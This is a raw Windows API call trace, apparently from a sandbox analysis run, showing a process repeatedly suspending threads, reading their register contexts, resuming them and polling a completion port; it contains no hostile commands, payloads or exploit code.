	[0248.569] GetThreadContext (in: hThread=0x120, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000bfd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0248.675] ResumeThread (hThread=0x120) returned 0x1
	[0248.675] CloseHandle (hObject=0x120) returned 1
	[0248.675] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0248.727] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0248.727] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x174, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x120) returned 1
	[0248.727] SuspendThread (hThread=0x120) returned 0x0
	[0248.727] GetThreadContext (in: hThread=0x120, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000bfd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0248.731] ResumeThread (hThread=0x120) returned 0x1
	[0248.731] CloseHandle (hObject=0x120) returned 1
	[0248.731] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0248.768] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0248.768] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x174, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x120) returned 1
	[0248.768] SuspendThread (hThread=0x120) returned 0x0
	[0248.768] GetThreadContext (in: hThread=0x120, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000bfd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0248.776] ResumeThread (hThread=0x120) returned 0x1
	[0248.776] CloseHandle (hObject=0x120) returned 1
	[0248.776] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0248.790] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0248.790] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0248.799] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0248.801] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0248.801] SetEvent (hEvent=0x188) returned 1
	[0248.801] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0248.803] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0248.804] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0250.021] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0250.022] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0250.022] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0250.022] SuspendThread (hThread=0x1ac) returned 0x0
	[0250.022] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70703ff768, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d56a4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0250.377] ResumeThread (hThread=0x1ac) returned 0x1
	[0250.377] CloseHandle (hObject=0x1ac) returned 1
	[0250.377] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0250.416] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0250.416] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0250.645] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0250.645] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0250.645] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0250.665] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0250.665] SetEvent (hEvent=0xf0) returned 1
	[0250.665] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0250.739] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0250.739] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b0) returned 1
	[0250.740] SuspendThread (hThread=0x1b0) returned 0x0
